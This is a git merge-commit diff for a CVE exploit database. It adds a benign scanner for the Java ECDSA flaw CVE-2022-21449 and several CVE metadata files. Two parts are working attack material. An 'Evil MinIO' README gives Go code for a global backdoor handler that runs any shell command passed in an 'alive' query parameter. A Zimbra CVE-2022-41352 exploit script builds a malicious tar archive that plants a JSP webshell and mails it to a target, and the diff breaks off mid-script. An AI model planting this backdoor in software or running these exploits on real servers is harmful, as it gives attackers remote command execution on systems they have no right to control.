Merge branch 'master' of gitee.com:openkylin/openkylin-exploit-db into master
Signed-off-by: LYouth <youthbl@buaa.edu.cn>
This commit is contained in:
commit
1deebe5518
|
@ -5,3 +5,6 @@
|
|||
[submodule "cve/django/2022/CVE-2022-28346/POC_env"]
|
||||
path = cve/django/2022/CVE-2022-28346/POC_env
|
||||
url = https://github.com/DeEpinGh0st/CVE-2022-28346
|
||||
[submodule "cve/apache-Shiro/2022/CVE-2022-32532"]
|
||||
path = cve/apache-Shiro/2022/CVE-2022-32532
|
||||
url = https://github.com/Lay0us1/CVE-2022-32532
|
||||
|
|
|
@ -0,0 +1,37 @@
|
|||
# CVE-2022-21449
|
||||
|
||||
### Overview
|
||||
|
||||
This tool allows to perform a quick scan of compiled code archives (.jar, .war etc) in order to check for vulnerability to CVE-2022-21449 by looking for the string indicating the use of ECDSA algorithm. The tool uses Python3 with no additional prerequisites.
|
||||
|
||||
##### Usage
|
||||
|
||||
```
|
||||
python cve_2022_21449.py root-folder [-quiet] [-exclude folder1 folder2 ..]
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
```
|
||||
python cve_2022_21449.py root-archive [-quiet] [-exclude folder1 folder2 ..]
|
||||
```
|
||||
|
||||
The tool will scan `root_folder` recursively for `.jar` and `.war` files; in each located archive the tool examines the `.class` files for appearances of `"withECDSA"` string.
|
||||
|
||||
With `-quiet` flag, error messages (files not found/ archives failed to open/ password protected archives) are muted.
|
||||
|
||||
Folders appearing after `-exclude` (optional) are skipped.
|
||||
|
||||
##### Output example
|
||||
|
||||
<img src="img/screenshot.PNG" style="zoom:33%;" />
|
||||
|
||||
### Bash script
|
||||
|
||||
Alternatively, one could use the `cve_2022_21449.sh` Bash script, which is somewhat slower, and requires installing zipgrep tool.
|
||||
|
||||
Usage:
|
||||
|
||||
```
|
||||
./cve_2022_21449.sh root-folder
|
||||
```
|
|
@ -0,0 +1,164 @@
|
|||
import os
|
||||
import sys
|
||||
from zipfile import BadZipFile, ZipFile
|
||||
from tarfile import open as tar_open
|
||||
from tarfile import CompressionError, ReadError
|
||||
import zlib
|
||||
|
||||
|
||||
ZIP_EXTENSIONS = {".jar", ".war", ".sar", ".ear", ".par", ".zip", ".apk"}
|
||||
TAR_EXTENSIONS = {".tar.gz", ".tar"}
|
||||
|
||||
|
||||
def examine_class(rel_path, file_name, content, silent_mode) -> bool:
|
||||
if b"withECDSA" in content:
|
||||
print ("In {}/{} potential use of ECDSA - may be vulnerable".format(rel_path, file_name))
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def zip_file(file, rel_path: str, silent_mode: bool) -> bool:
|
||||
problem_found = False
|
||||
try:
|
||||
with ZipFile(file) as jarfile:
|
||||
for file_name in jarfile.namelist():
|
||||
if acceptable_filename(file_name):
|
||||
with jarfile.open(file_name, "r") as next_file:
|
||||
problem_found |= test_file(
|
||||
next_file, os.path.join(rel_path, file_name), silent_mode
|
||||
)
|
||||
continue
|
||||
if file_name.endswith(".class") and not file_name.endswith(
|
||||
"module-info.class"
|
||||
):
|
||||
content = jarfile.read(file_name)
|
||||
problem_found |= examine_class(
|
||||
rel_path, file_name, content, silent_mode
|
||||
)
|
||||
|
||||
# went over all the files in the current layer; draw conclusions
|
||||
except (IOError, BadZipFile, UnicodeDecodeError, zlib.error, RuntimeError) as e:
|
||||
if not silent_mode:
|
||||
print(rel_path + ": " + str(e))
|
||||
return problem_found
|
||||
|
||||
|
||||
def tar_file(file, rel_path: str, silent_mode: bool) -> bool:
|
||||
problem_found = False
|
||||
try:
|
||||
with tar_open(fileobj=file) as tarfile:
|
||||
for item in tarfile.getmembers():
|
||||
if "../" in item.name:
|
||||
continue
|
||||
if item.isfile() and acceptable_filename(item.name):
|
||||
fileobj = tarfile.extractfile(item)
|
||||
new_path = rel_path + "/" + item.name
|
||||
problem_found |= test_file(fileobj, new_path, silent_mode)
|
||||
|
||||
except (
|
||||
IOError,
|
||||
FileExistsError,
|
||||
CompressionError,
|
||||
ReadError,
|
||||
RuntimeError,
|
||||
UnicodeDecodeError,
|
||||
zlib.error,
|
||||
) as e:
|
||||
if not silent_mode:
|
||||
print(rel_path + ": " + str(e))
|
||||
return False
|
||||
return problem_found
|
||||
|
||||
|
||||
def test_file(file, rel_path: str, silent_mode: bool) -> bool:
|
||||
if any(rel_path.endswith(ext) for ext in ZIP_EXTENSIONS):
|
||||
return zip_file(file, rel_path, silent_mode)
|
||||
|
||||
elif any(rel_path.endswith(ext) for ext in TAR_EXTENSIONS):
|
||||
return tar_file(file, rel_path, silent_mode)
|
||||
return False
|
||||
|
||||
|
||||
def acceptable_filename(filename: str):
|
||||
return any(filename.endswith(ext) for ext in ZIP_EXTENSIONS | TAR_EXTENSIONS)
|
||||
|
||||
|
||||
def run_scanner(root_dir: str, exclude_dirs, silent_mode: bool) -> bool:
|
||||
problem_found = False
|
||||
if os.path.isdir(root_dir):
|
||||
for directory, dirs, files in os.walk(root_dir, topdown=True):
|
||||
[
|
||||
dirs.remove(excluded_dir)
|
||||
for excluded_dir in list(dirs)
|
||||
if os.path.join(directory, excluded_dir) in exclude_dirs
|
||||
]
|
||||
|
||||
for filename in files:
|
||||
if acceptable_filename(filename):
|
||||
full_path = os.path.join(directory, filename)
|
||||
rel_path = os.path.relpath(full_path, root_dir)
|
||||
try:
|
||||
with open(full_path, "rb") as file:
|
||||
problem_found |= test_file(file, rel_path, silent_mode)
|
||||
except FileNotFoundError as fnf_error:
|
||||
if not silent_mode:
|
||||
print(fnf_error)
|
||||
elif os.path.isfile(root_dir):
|
||||
if acceptable_filename(root_dir):
|
||||
with open(root_dir, "rb") as file:
|
||||
if any(root_dir.endswith(ext) for ext in ZIP_EXTENSIONS):
|
||||
problem_found = zip_file(file, "", silent_mode)
|
||||
|
||||
elif any(root_dir.endswith(ext) for ext in TAR_EXTENSIONS):
|
||||
problem_found = tar_file(file, "", silent_mode)
|
||||
return problem_found
|
||||
|
||||
|
||||
def print_usage():
|
||||
print(
|
||||
"Usage: "
|
||||
+ sys.argv[0]
|
||||
+ " <root_folder> [-quiet] [-exclude <folder1> <folder2> ...]"
|
||||
)
|
||||
print("or: " + sys.argv[0] + "<archive_file> [-quiet]")
|
||||
exit()
|
||||
|
||||
|
||||
def parse_command_line():
|
||||
if len(sys.argv) < 2:
|
||||
print_usage()
|
||||
|
||||
root_dir = sys.argv[1]
|
||||
exclude_folders = []
|
||||
|
||||
silent = len(sys.argv) > 2 and sys.argv[2] == "-quiet"
|
||||
exclude_start = 3 if silent else 2
|
||||
if len(sys.argv) > exclude_start:
|
||||
if not sys.argv[exclude_start] == "-exclude":
|
||||
print_usage()
|
||||
exclude_folders = sys.argv[exclude_start + 1 :]
|
||||
|
||||
return root_dir, exclude_folders, silent
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
root_dir, exclude_dirs, silent_mode = parse_command_line()
|
||||
|
||||
for dir_to_check in exclude_dirs:
|
||||
if not os.path.isdir(dir_to_check):
|
||||
print(dir_to_check + " is not a directory")
|
||||
print_usage()
|
||||
if not os.path.isdir(root_dir) and not (
|
||||
os.path.isfile(root_dir) and acceptable_filename(root_dir)
|
||||
):
|
||||
print(root_dir + " is not a directory or an archive")
|
||||
print_usage()
|
||||
|
||||
print("Scanning " + root_dir)
|
||||
if exclude_dirs:
|
||||
print("Excluded: " + ", ".join(exclude_dirs))
|
||||
|
||||
problem_found = run_scanner(root_dir, set(exclude_dirs), silent_mode)
|
||||
if problem_found:
|
||||
sys.exit(1)
|
|
@ -0,0 +1,18 @@
|
|||
id: CVE-2022-21449
|
||||
source: https://github.com/jfrog/jfrog-CVE-2022-21449
|
||||
info:
|
||||
name: Java SE(Java Standard Edition,Java 标准版)是Java技术的核心和基础,是Java ME和Java EE编程的基础。Java SE是Java程序设计语言和Java平台的总称。
|
||||
severity: high
|
||||
description: Oracle Java SE(组件:库)中存在漏洞。易被利用的漏洞允许未经身份验证的攻击者通过多种协议进行网络访问,从而危害Oracle Java SE、Oracle GraalVM Enterprise Edition。成功攻击此漏洞会导致对关键数据或所有Oracle Java SE、Oracle GraalVM Enterprise Edition可访问数据进行未经授权的创建、删除或修改访问。
|
||||
scope-of-influence: Oracle Java SE:17.0.2和18;Oracle GraalVM企业版:21.3.1和22.0.0.2
|
||||
reference:
|
||||
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21449
|
||||
- https://security.netapp.com/advisory/ntap-20220429-0006/
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
|
||||
cvss-score: 7.5
|
||||
cve-id: CVE-2022-21449
|
||||
cwe-id: CWE-400
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: cve2022, Java SE, 未经身份验证的访问控制
|
|
@ -0,0 +1,79 @@
|
|||
# Evil MinIO (CVE-2023-28434)
|
||||
|
||||
Doc: [CVE-2023-28432 minio 接口未授权访问到无损RCE和全局后门.pdf](./CVE-2023-28432%20minio%20接口未授权访问到无损RCE和全局后门.pdf)
|
||||
|
||||
EXP for **CVE-2023-28434**
|
||||
|
||||
MinIO unauthorized to RCE
|
||||
|
||||
Changed from [https://github.com/minio/minio/tree/8b4d0255b7247b1a06d923e69ed5ba01434e70b8](https://github.com/minio/minio/tree/8b4d0255b7247b1a06d923e69ed5ba01434e70b8)
|
||||
|
||||
## Changed what?
|
||||
|
||||
- add `cmd/x.go`, used for exec system command
|
||||
```go
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func getOutputDirectly(commandStr string) string {
|
||||
var execGlobalOutput string
|
||||
var shell [2]string
|
||||
var systemOS string = runtime.GOOS
|
||||
if systemOS == "linux" || systemOS == "darwin" {
|
||||
shell[0], shell[1] = "/bin/bash", "-c"
|
||||
} else {
|
||||
shell[0], shell[1] = "C:\\Windows\\System32\\cmd.exe", "/c"
|
||||
}
|
||||
cmd := exec.Command(shell[0], shell[1], commandStr)
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
execGlobalOutput += string(output)
|
||||
return execGlobalOutput
|
||||
}
|
||||
```
|
||||
- `cmd/routers.go`, add line #72
|
||||
```go
|
||||
// ..........
|
||||
setUploadForwardingHandler,
|
||||
// Add bucket forwarding handler
|
||||
setBucketForwardingHandler,
|
||||
// Add new handlers here.
|
||||
xHandler, // ADD THIS LINE
|
||||
}
|
||||
|
||||
// configureServer handler returns final handler for the http server.
|
||||
func configureServerHandler(endpointServerPools EndpointServerPools) (http.Handler, error) {
|
||||
// ..........
|
||||
```
|
||||
|
||||
- `cmd/generic-handlers.go`, add function `xHandler` at the end
|
||||
```go
|
||||
func xHandler(h http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
var arg string
|
||||
values := r.URL.Query()
|
||||
arg = values.Get("alive")
|
||||
if arg != "" {
|
||||
w.Write([]byte(getOutputDirectly(arg)))
|
||||
return
|
||||
}
|
||||
h.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
## What can be done?
|
||||
|
||||
|
||||
|
||||
1. GLOBAL backdoor as `http://1.2.3.4/?alive=whoami` and `http://1.2.3.4/anything?alive=whoami`
|
||||
2. Normal functions will not be affected
|
||||
|
|
@ -0,0 +1,232 @@
|
|||
module github.com/minio/minio
|
||||
|
||||
go 1.19
|
||||
|
||||
require (
|
||||
cloud.google.com/go/storage v1.30.0
|
||||
github.com/Azure/azure-storage-blob-go v0.15.0
|
||||
github.com/Shopify/sarama v1.38.1
|
||||
github.com/alecthomas/participle v0.7.1
|
||||
github.com/bcicen/jstream v1.0.1
|
||||
github.com/beevik/ntp v0.3.0
|
||||
github.com/buger/jsonparser v1.1.1
|
||||
github.com/cespare/xxhash/v2 v2.2.0
|
||||
github.com/cheggaaa/pb v1.0.29
|
||||
github.com/coredns/coredns v1.10.1
|
||||
github.com/coreos/go-oidc v2.2.1+incompatible
|
||||
github.com/cosnicolaou/pbzip2 v1.0.1
|
||||
github.com/dchest/siphash v1.2.3
|
||||
github.com/djherbis/atime v1.1.0
|
||||
github.com/dustin/go-humanize v1.0.1
|
||||
github.com/eclipse/paho.mqtt.golang v1.4.2
|
||||
github.com/elastic/go-elasticsearch/v7 v7.17.7
|
||||
github.com/fatih/color v1.15.0
|
||||
github.com/felixge/fgprof v0.9.3
|
||||
github.com/fraugster/parquet-go v0.12.0
|
||||
github.com/go-ldap/ldap/v3 v3.4.4
|
||||
github.com/go-openapi/loads v0.21.2
|
||||
github.com/go-sql-driver/mysql v1.7.0
|
||||
github.com/golang-jwt/jwt/v4 v4.5.0
|
||||
github.com/gomodule/redigo v1.8.9
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/hashicorp/golang-lru v0.5.4
|
||||
github.com/inconshreveable/mousetrap v1.1.0
|
||||
github.com/json-iterator/go v1.1.12
|
||||
github.com/klauspost/compress v1.16.3
|
||||
github.com/klauspost/cpuid/v2 v2.2.4
|
||||
github.com/klauspost/filepathx v1.1.1
|
||||
github.com/klauspost/pgzip v1.2.5
|
||||
github.com/klauspost/readahead v1.4.0
|
||||
github.com/klauspost/reedsolomon v1.11.7
|
||||
github.com/lib/pq v1.10.7
|
||||
github.com/lithammer/shortuuid/v4 v4.0.0
|
||||
github.com/miekg/dns v1.1.52
|
||||
github.com/minio/cli v1.24.2
|
||||
github.com/minio/console v0.25.0
|
||||
github.com/minio/csvparser v1.0.0
|
||||
github.com/minio/dperf v0.4.2
|
||||
github.com/minio/highwayhash v1.0.2
|
||||
github.com/minio/kes-go v0.1.0
|
||||
github.com/minio/madmin-go/v2 v2.0.17
|
||||
github.com/minio/minio-go/v7 v7.0.49
|
||||
github.com/minio/mux v1.9.0
|
||||
github.com/minio/pkg v1.6.5-0.20230318001333-39b6e90c1c88
|
||||
github.com/minio/selfupdate v0.6.0
|
||||
github.com/minio/sha256-simd v1.0.0
|
||||
github.com/minio/simdjson-go v0.4.5
|
||||
github.com/minio/sio v0.3.1
|
||||
github.com/minio/xxml v0.0.3
|
||||
github.com/minio/zipindex v0.3.0
|
||||
github.com/mitchellh/go-homedir v1.1.0
|
||||
github.com/nats-io/nats-server/v2 v2.7.4
|
||||
github.com/nats-io/nats.go v1.24.0
|
||||
github.com/nats-io/stan.go v0.10.4
|
||||
github.com/ncw/directio v1.0.5
|
||||
github.com/nsqio/go-nsq v1.1.0
|
||||
github.com/philhofer/fwd v1.1.2
|
||||
github.com/pierrec/lz4 v2.6.1+incompatible
|
||||
github.com/pkg/errors v0.9.1
|
||||
github.com/prometheus/client_golang v1.14.0
|
||||
github.com/prometheus/client_model v0.3.0
|
||||
github.com/prometheus/common v0.42.0
|
||||
github.com/prometheus/procfs v0.9.0
|
||||
github.com/rabbitmq/amqp091-go v1.7.0
|
||||
github.com/rs/cors v1.8.3
|
||||
github.com/rs/dnscache v0.0.0-20211102005908-e0241e321417
|
||||
github.com/secure-io/sio-go v0.3.1
|
||||
github.com/shirou/gopsutil/v3 v3.23.2
|
||||
github.com/tidwall/gjson v1.14.4
|
||||
github.com/tinylib/msgp v1.1.8
|
||||
github.com/valyala/bytebufferpool v1.0.0
|
||||
github.com/xdg/scram v1.0.5
|
||||
github.com/zeebo/xxh3 v1.0.2
|
||||
go.etcd.io/etcd/api/v3 v3.5.7
|
||||
go.etcd.io/etcd/client/v3 v3.5.7
|
||||
go.uber.org/atomic v1.10.0
|
||||
go.uber.org/zap v1.24.0
|
||||
golang.org/x/crypto v0.7.0
|
||||
golang.org/x/oauth2 v0.6.0
|
||||
golang.org/x/sys v0.6.0
|
||||
golang.org/x/time v0.3.0
|
||||
google.golang.org/api v0.114.0
|
||||
gopkg.in/yaml.v2 v2.4.0
|
||||
)
|
||||
|
||||
require (
|
||||
aead.dev/mem v0.2.0 // indirect
|
||||
aead.dev/minisign v0.2.0 // indirect
|
||||
cloud.google.com/go v0.110.0 // indirect
|
||||
cloud.google.com/go/compute v1.18.0 // indirect
|
||||
cloud.google.com/go/compute/metadata v0.2.3 // indirect
|
||||
cloud.google.com/go/iam v0.13.0 // indirect
|
||||
github.com/Azure/azure-pipeline-go v0.2.3 // indirect
|
||||
github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect
|
||||
github.com/apache/thrift v0.18.1 // indirect
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect
|
||||
github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect
|
||||
github.com/beorn7/perks v1.0.1 // indirect
|
||||
github.com/charmbracelet/bubbles v0.15.0 // indirect
|
||||
github.com/charmbracelet/bubbletea v0.23.2 // indirect
|
||||
github.com/charmbracelet/lipgloss v0.7.1 // indirect
|
||||
github.com/containerd/console v1.0.3 // indirect
|
||||
github.com/coreos/go-semver v0.3.1 // indirect
|
||||
github.com/coreos/go-systemd/v22 v22.5.0 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.1.0 // indirect
|
||||
github.com/docker/go-units v0.5.0 // indirect
|
||||
github.com/eapache/go-resiliency v1.3.0 // indirect
|
||||
github.com/eapache/go-xerial-snappy v0.0.0-20230111030713-bf00bc1b83b6 // indirect
|
||||
github.com/eapache/queue v1.1.0 // indirect
|
||||
github.com/fatih/structs v1.1.0 // indirect
|
||||
github.com/frankban/quicktest v1.14.0 // indirect
|
||||
github.com/gdamore/encoding v1.0.0 // indirect
|
||||
github.com/gdamore/tcell/v2 v2.6.0 // indirect
|
||||
github.com/go-asn1-ber/asn1-ber v1.5.4 // indirect
|
||||
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||
github.com/go-openapi/analysis v0.21.4 // indirect
|
||||
github.com/go-openapi/errors v0.20.3 // indirect
|
||||
github.com/go-openapi/jsonpointer v0.19.6 // indirect
|
||||
github.com/go-openapi/jsonreference v0.20.2 // indirect
|
||||
github.com/go-openapi/runtime v0.25.0 // indirect
|
||||
github.com/go-openapi/spec v0.20.8 // indirect
|
||||
github.com/go-openapi/strfmt v0.21.5 // indirect
|
||||
github.com/go-openapi/swag v0.22.3 // indirect
|
||||
github.com/go-openapi/validate v0.22.1 // indirect
|
||||
github.com/goccy/go-json v0.10.2 // indirect
|
||||
github.com/gogo/protobuf v1.3.2 // indirect
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
|
||||
github.com/golang/protobuf v1.5.3 // indirect
|
||||
github.com/golang/snappy v0.0.4 // indirect
|
||||
github.com/google/go-cmp v0.5.9 // indirect
|
||||
github.com/google/pprof v0.0.0-20230309165930-d61513b1440d // indirect
|
||||
github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 // indirect
|
||||
github.com/googleapis/enterprise-certificate-proxy v0.2.3 // indirect
|
||||
github.com/googleapis/gax-go/v2 v2.8.0 // indirect
|
||||
github.com/gorilla/websocket v1.5.0 // indirect
|
||||
github.com/hashicorp/errwrap v1.1.0 // indirect
|
||||
github.com/hashicorp/go-immutable-radix v1.3.1 // indirect
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
github.com/hashicorp/go-uuid v1.0.3 // indirect
|
||||
github.com/jcmturner/aescts/v2 v2.0.0 // indirect
|
||||
github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect
|
||||
github.com/jcmturner/gofork v1.7.6 // indirect
|
||||
github.com/jcmturner/gokrb5/v8 v8.4.4 // indirect
|
||||
github.com/jcmturner/rpc/v2 v2.0.3 // indirect
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.6 // indirect
|
||||
github.com/jessevdk/go-flags v1.5.0 // indirect
|
||||
github.com/josharian/intern v1.0.0 // indirect
|
||||
github.com/juju/ratelimit v1.0.2 // indirect
|
||||
github.com/lestrrat-go/backoff/v2 v2.0.8 // indirect
|
||||
github.com/lestrrat-go/blackmagic v1.0.1 // indirect
|
||||
github.com/lestrrat-go/httpcc v1.0.1 // indirect
|
||||
github.com/lestrrat-go/iter v1.0.2 // indirect
|
||||
github.com/lestrrat-go/jwx v1.2.25 // indirect
|
||||
github.com/lestrrat-go/option v1.0.1 // indirect
|
||||
github.com/lucasb-eyer/go-colorful v1.2.0 // indirect
|
||||
github.com/lufia/plan9stats v0.0.0-20230110061619-bbe2e5e100de // indirect
|
||||
github.com/mailru/easyjson v0.7.7 // indirect
|
||||
github.com/mattn/go-colorable v0.1.13 // indirect
|
||||
github.com/mattn/go-ieproxy v0.0.1 // indirect
|
||||
github.com/mattn/go-isatty v0.0.17 // indirect
|
||||
github.com/mattn/go-localereader v0.0.1 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.14 // indirect
|
||||
github.com/matttproud/golang_protobuf_extensions v1.0.4 // indirect
|
||||
github.com/minio/colorjson v1.0.4 // indirect
|
||||
github.com/minio/filepath v1.0.0 // indirect
|
||||
github.com/minio/mc v0.0.0-20230318234318-e290a426a131 // indirect
|
||||
github.com/minio/md5-simd v1.1.2 // indirect
|
||||
github.com/minio/websocket v1.6.0 // indirect
|
||||
github.com/mitchellh/mapstructure v1.5.0 // indirect
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
|
||||
github.com/modern-go/reflect2 v1.0.2 // indirect
|
||||
github.com/montanaflynn/stats v0.7.0 // indirect
|
||||
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect
|
||||
github.com/muesli/cancelreader v0.2.2 // indirect
|
||||
github.com/muesli/reflow v0.3.0 // indirect
|
||||
github.com/muesli/termenv v0.15.1 // indirect
|
||||
github.com/nats-io/jwt/v2 v2.2.1-0.20220113022732-58e87895b296 // indirect
|
||||
github.com/nats-io/nats-streaming-server v0.24.3 // indirect
|
||||
github.com/nats-io/nkeys v0.4.4 // indirect
|
||||
github.com/nats-io/nuid v1.0.1 // indirect
|
||||
github.com/navidys/tvxwidgets v0.3.0 // indirect
|
||||
github.com/oklog/ulid v1.3.1 // indirect
|
||||
github.com/olekukonko/tablewriter v0.0.5 // indirect
|
||||
github.com/pierrec/lz4/v4 v4.1.17 // indirect
|
||||
github.com/pkg/xattr v0.4.9 // indirect
|
||||
github.com/posener/complete v1.2.3 // indirect
|
||||
github.com/power-devops/perfstat v0.0.0-20221212215047-62379fc7944b // indirect
|
||||
github.com/pquerna/cachecontrol v0.1.0 // indirect
|
||||
github.com/prometheus/prom2json v1.3.2 // indirect
|
||||
github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 // indirect
|
||||
github.com/rivo/tview v0.0.0-20230307144320-cc10b288e304 // indirect
|
||||
github.com/rivo/uniseg v0.4.4 // indirect
|
||||
github.com/rjeczalik/notify v0.9.3 // indirect
|
||||
github.com/rs/xid v1.4.0 // indirect
|
||||
github.com/sirupsen/logrus v1.9.0 // indirect
|
||||
github.com/tidwall/match v1.1.1 // indirect
|
||||
github.com/tidwall/pretty v1.2.1 // indirect
|
||||
github.com/tklauser/go-sysconf v0.3.11 // indirect
|
||||
github.com/tklauser/numcpus v0.6.0 // indirect
|
||||
github.com/unrolled/secure v1.13.0 // indirect
|
||||
github.com/xdg/stringprep v1.0.3 // indirect
|
||||
github.com/yusufpapurcu/wmi v1.2.2 // indirect
|
||||
go.etcd.io/etcd/client/pkg/v3 v3.5.7 // indirect
|
||||
go.mongodb.org/mongo-driver v1.11.3 // indirect
|
||||
go.opencensus.io v0.24.0 // indirect
|
||||
go.uber.org/multierr v1.10.0 // indirect
|
||||
golang.org/x/mod v0.9.0 // indirect
|
||||
golang.org/x/net v0.8.0 // indirect
|
||||
golang.org/x/sync v0.1.0 // indirect
|
||||
golang.org/x/term v0.6.0 // indirect
|
||||
golang.org/x/text v0.8.0 // indirect
|
||||
golang.org/x/tools v0.7.0 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20220907171357-04be3eba64a2 // indirect
|
||||
google.golang.org/appengine v1.6.7 // indirect
|
||||
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 // indirect
|
||||
google.golang.org/grpc v1.53.0 // indirect
|
||||
google.golang.org/protobuf v1.30.0 // indirect
|
||||
gopkg.in/h2non/filetype.v1 v1.0.5 // indirect
|
||||
gopkg.in/ini.v1 v1.67.0 // indirect
|
||||
gopkg.in/square/go-jose.v2 v2.6.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
)
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,31 @@
|
|||
// Copyright (c) 2015-2021 MinIO, Inc.
|
||||
//
|
||||
// This file is part of MinIO Object Storage stack
|
||||
//
|
||||
// This program is free software: you can redistribute it and/or modify
|
||||
// it under the terms of the GNU Affero General Public License as published by
|
||||
// the Free Software Foundation, either version 3 of the License, or
|
||||
// (at your option) any later version.
|
||||
//
|
||||
// This program is distributed in the hope that it will be useful
|
||||
// but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
// GNU Affero General Public License for more details.
|
||||
//
|
||||
// You should have received a copy of the GNU Affero General Public License
|
||||
// along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
package main // import "github.com/minio/minio"
|
||||
|
||||
import (
|
||||
"os"
|
||||
|
||||
// MUST be first import.
|
||||
_ "github.com/minio/minio/internal/init"
|
||||
|
||||
minio "github.com/minio/minio/cmd"
|
||||
)
|
||||
|
||||
func main() {
|
||||
minio.Main(os.Args)
|
||||
}
|
|
@ -0,0 +1,20 @@
|
|||
id: CVE-2023-28434
|
||||
source: https://github.com/AbelChe/evil_minio
|
||||
info:
|
||||
name: MinIO是一个多云对象存储框架,提供高性能、与S3 兼容的对象存储系统,让你自己能够构建自己的云储存服务,原生支持 Kubernetes,它可用于每个独立的公共云、每个 Kubernetes 发行版、私有云和边缘的对象存储套件。
|
||||
severity: high
|
||||
description: |
|
||||
在RELEASE.2023-03-20T20-16-18Z之前,攻击者可以使用精心制作的请求来绕过元数据桶名称检查,并在处理PostPolicyBucket时将对象放入任何桶中。要执行这种攻击,攻击者需要具有 arn: aws: s3: : * 权限的凭证,以及启用的 Console API 访问。此问题已在发布版本2023-03-20T20-16-18Z 中进行了修补。作为解决方案,启用浏览器 API 访问并关闭 MINIO _ BROWSER = off。
|
||||
scope-of-influence: MinIo < RELEASE.2023-03-20t20-16-18z
|
||||
reference:
|
||||
- https://github.com/minio/minio/commit/67f4ba154a27a1b06e48bfabda38355a010dfca5
|
||||
- https://github.com/minio/minio/pull/16849
|
||||
- https://github.com/minio/minio/security/advisories/GHSA-2pxw-r47w-4p8c
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 8.8
|
||||
cve-id: CVE-2023-28434
|
||||
cwe-id: CWE-269
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: 未授权
|
|
@ -0,0 +1,236 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import sys
|
||||
import smtplib
|
||||
import argparse
|
||||
from time import sleep
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.mime.application import MIMEApplication
|
||||
from email.mime.text import MIMEText
|
||||
import requests
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
# CONFIGURATION
|
||||
#----------------------------------
|
||||
TARGET = 'mail.test.org'
|
||||
WEBSHELL_PATH = '/public/jsp'
|
||||
WEBSHELL_NAME = 'Startup1_3.jsp'
|
||||
ATTACHMENT = 'payload.tar'
|
||||
SENDER = 'test@test.org'
|
||||
RECIPIENT = 'admin@test.org'
|
||||
|
||||
EMAIL_SUBJECT = 'CVE-2022-41352'
|
||||
EMAIL_BODY = '<b>Just testing.</b><br><p>Don\'t mind me.</p>'
|
||||
#----------------------------------
|
||||
|
||||
# Only change this if zimbra was not installed in the default location
|
||||
UPLOAD_BASE = '/opt/zimbra/jetty_base/webapps/zimbra'
|
||||
|
||||
|
||||
def create_tar_payload(payload, payload_name, payload_path, lnk='startup'):
|
||||
# Block 1
|
||||
link = lnk.encode()
|
||||
mode = b'0000777\x00' # link permissions
|
||||
ouid = b'0001745\x00' # octal uid (997)
|
||||
ogid = b'0001745\x00' # octal gid
|
||||
lnsz = b'00000000000\x00' # file size (link = 0)
|
||||
lmod = b'14227770134\x00' # last modified (octal unix)
|
||||
csum = b' ' # checksum = 8 blanks
|
||||
type = b'2' # type (link = 2)
|
||||
targ = payload_path.encode() # link target
|
||||
magi = b'ustar \x00' # ustar magic bytes + version
|
||||
ownu = b'zimbra' # user owner
|
||||
owng = b'zimbra' # group owner
|
||||
vers = b'\x00'*8 + b'\x00'* 8 # device major and minor
|
||||
pref = b'\x00'*155 # prefix (only used if the file name length exceeds 100)
|
||||
|
||||
raw_b1_1 = link + b'\x00'*(100-len(link)) + mode + ouid + ogid + lnsz + lmod
|
||||
raw_b1_2 = type + targ + b'\x00'*(100-len(targ)) + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref
|
||||
# calculate and insert checksum
|
||||
csum = oct(sum(b for b in raw_b1_1+csum+raw_b1_2))[2:]
|
||||
raw_b1 = raw_b1_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b1_2
|
||||
# pad block to 512
|
||||
raw_b1 += b'\00'*(512-len(raw_b1))
|
||||
|
||||
# Block 2
|
||||
mode = b'0000644\x00' # file permissions
|
||||
file = f'{lnk}/{payload_name}'.encode()
|
||||
flsz = oct(len(payload))[2:] # file size
|
||||
